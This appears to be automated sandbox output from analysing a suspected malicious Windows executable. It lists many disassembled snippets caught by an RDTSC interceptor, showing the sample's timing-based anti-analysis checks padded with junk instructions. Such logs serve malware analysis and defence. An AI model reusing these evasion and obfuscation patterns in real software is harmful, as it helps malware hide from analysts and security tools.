Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9CAC second address: 6B9CB2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9CB2 second address: 6B9CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2FD103293Dh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9CC9 second address: 6B9CCF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C17E second address: 71C182 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AFB19 second address: 6AFB1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FF6A second address: 71FFA5 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2FD103293Eh 0x00000008 jp 00007F2FD1032942h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2FD1032945h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FFA5 second address: 71FFB5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F2FD0BFC0B6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720148 second address: 720152 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2FD1032936h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720152 second address: 720158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72052F second address: 720533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720533 second address: 72053F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72069B second address: 7206A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720816 second address: 720845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2FD0BFC0C1h 0x0000000c jmp 00007F2FD0BFC0C7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720845 second address: 72084D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7209DB second address: 7209E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7209E3 second address: 7209E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724F3F second address: 724F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EEDA9 second address: 6EEDB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EEDB0 second address: 6EEE0C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2FD0BFC0C2h 0x00000008 jmp 00007F2FD0BFC0BCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 sub di, CBFCh 0x00000017 pushad 0x00000018 mov dword ptr [ebp+122D2BD5h], edi 0x0000001e xor ebx, 0EE94A91h 0x00000024 popad 0x00000025 lea eax, dword ptr [ebp+12482B2Eh] 0x0000002b mov dword ptr [ebp+122D1AA2h], ebx 0x00000031 nop 0x00000032 jmp 00007F2FD0BFC0C9h 0x00000037 push eax 0x00000038 push edi 0x00000039 push eax 0x0000003a push edx 0x0000003b jns 00007F2FD0BFC0B6h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF1A3 second address: 6EF1A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF2A5 second address: 53FAB7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2FD0BFC0BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F2FD0BFC0C5h 0x00000010 nop 0x00000011 mov ecx, 0BF0D781h 0x00000016 push dword ptr [ebp+122D0949h] 0x0000001c cld 0x0000001d call dword ptr [ebp+122D2E84h] 0x00000023 pushad 0x00000024 jg 00007F2FD0BFC0BCh 0x0000002a mov dword ptr [ebp+122D1AA7h], edi 0x00000030 xor eax, eax 0x00000032 jmp 00007F2FD0BFC0C0h 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b cld 0x0000003c mov dword ptr [ebp+122D1AA2h], eax 0x00000042 mov dword ptr [ebp+122D28C5h], eax 0x00000048 add dword ptr [ebp+122D1AA2h], edx 0x0000004e mov esi, 0000003Ch 0x00000053 cld 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 jnp 00007F2FD0BFC0BEh 0x0000005e pushad 0x0000005f mov esi, dword ptr [ebp+122D290Dh] 0x00000065 popad 0x00000066 sub dword ptr [ebp+122D1AA7h], eax 0x0000006c lodsw 0x0000006e pushad 0x0000006f mov dword ptr [ebp+122D2EFCh], esi 0x00000075 sbb bx, 7C30h 0x0000007a popad 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f or dword ptr [ebp+122D1AA2h], edx 0x00000085 mov ebx, dword ptr [esp+24h] 0x00000089 mov dword ptr [ebp+122D1AA7h], edi 0x0000008f or dword ptr [ebp+122D1AA2h], ebx 0x00000095 nop 0x00000096 pushad 0x00000097 push eax 0x00000098 push edx 0x00000099 jng 00007F2FD0BFC0B6h 0x0000009f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF342 second address: 6EF36A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2FD1032944h 0x00000008 jmp 00007F2FD103293Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2FD103293Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF36A second address: 6EF397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F2FD0BFC0B8h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F2FD0BFC0C3h 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF397 second address: 6EF3B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F2FD1032936h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 push edi 0x00000017 jnc 00007F2FD1032936h 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF3B9 second address: 6EF3E1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2FD0BFC0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop eax 0x0000000c mov ecx, 13019393h 0x00000011 call 00007F2FD0BFC0B9h 0x00000016 jl 00007F2FD0BFC0C4h 0x0000001c push eax 0x0000001d push edx 0x0000001e jns 00007F2FD0BFC0B6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF3E1 second address: 6EF401 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F2FD1032940h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF401 second address: 6EF408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF408 second address: 6EF428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032940h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F2FD1032936h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF428 second address: 6EF42E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF42E second address: 6EF46B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032947h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007F2FD1032945h 0x00000013 push eax 0x00000014 push edx 0x00000015 jo 00007F2FD1032936h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF46B second address: 6EF46F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF4FB second address: 6EF501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF553 second address: 6EF55D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2FD0BFC0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF55D second address: 6EF567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F2FD1032936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF567 second address: 6EF56B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF56B second address: 6EF5B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jns 00007F2FD1032948h 0x0000000f xchg eax, esi 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F2FD1032938h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a push eax 0x0000002b jnp 00007F2FD103293Eh 0x00000031 push ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF7BB second address: 6EF7C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF7C8 second address: 6EF7E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032946h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF7E2 second address: 6EF7E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFE72 second address: 6EFE7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F2FD1032936h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F002C second address: 6F0047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2FD0BFC0C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0047 second address: 6F006B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2FD1032949h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F006B second address: 6F0072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0072 second address: 6F0087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F2FD1032936h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0087 second address: 6F008D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F008D second address: 6F00A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2FD103293Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F00A0 second address: 6F00A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0167 second address: 6F016B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F016B second address: 6F016F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F016F second address: 6F0179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7240D5 second address: 7240DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7240DF second address: 7240ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jp 00007F2FD1032936h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7240ED second address: 7240F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7240F9 second address: 7240FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7240FD second address: 724113 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2FD0BFC0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jc 00007F2FD0BFC0B6h 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724113 second address: 724117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72429A second address: 7242AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2FD0BFC0C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7242AE second address: 7242C0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007F2FD1032936h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724709 second address: 72470D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72470D second address: 72473A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F2FD1032949h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F2FD103293Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72473A second address: 724751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2FD0BFC0C3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724751 second address: 724765 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jbe 00007F2FD1032936h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F2FD1032936h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7290D7 second address: 7290DD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7294C0 second address: 7294E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F2FD1032936h 0x00000010 jmp 00007F2FD1032941h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7294E1 second address: 7294F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0BCh 0x00000007 jbe 00007F2FD0BFC0B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 728C3A second address: 728C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 728C40 second address: 728C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7298E7 second address: 7298F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F2FD1032936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729A0A second address: 729A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F2FD0BFC0B6h 0x0000000a jmp 00007F2FD0BFC0C9h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729BE6 second address: 729BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729BEC second address: 729BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729BF0 second address: 729BFA instructions: 0x00000000 rdtsc 0x00000002 je 00007F2FD1032936h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729BFA second address: 729C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729C04 second address: 729C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729EB4 second address: 729EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729EB9 second address: 729EBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729EBF second address: 729EC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 729EC3 second address: 729EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F2FD103293Ch 0x0000000e je 00007F2FD103294Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731AF0 second address: 731AF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731C9C second address: 731CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731CA2 second address: 731CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731F71 second address: 731F81 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F2FD103293Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731F81 second address: 731F86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731F86 second address: 731F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7322A8 second address: 7322B2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2FD0BFC0B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7322B2 second address: 732303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jng 00007F2FD1032936h 0x0000000d pop ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 jc 00007F2FD103294Bh 0x00000016 push edi 0x00000017 jmp 00007F2FD103293Bh 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 jmp 00007F2FD1032945h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7325A8 second address: 7325AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7325AC second address: 7325CC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2FD1032936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007F2FD1032936h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop ebx 0x00000017 pushad 0x00000018 je 00007F2FD103293Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7325CC second address: 7325DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F2FD0BFC0B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7325DC second address: 7325F4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2FD1032936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F2FD103293Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732759 second address: 732770 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F2FD0BFC0BEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
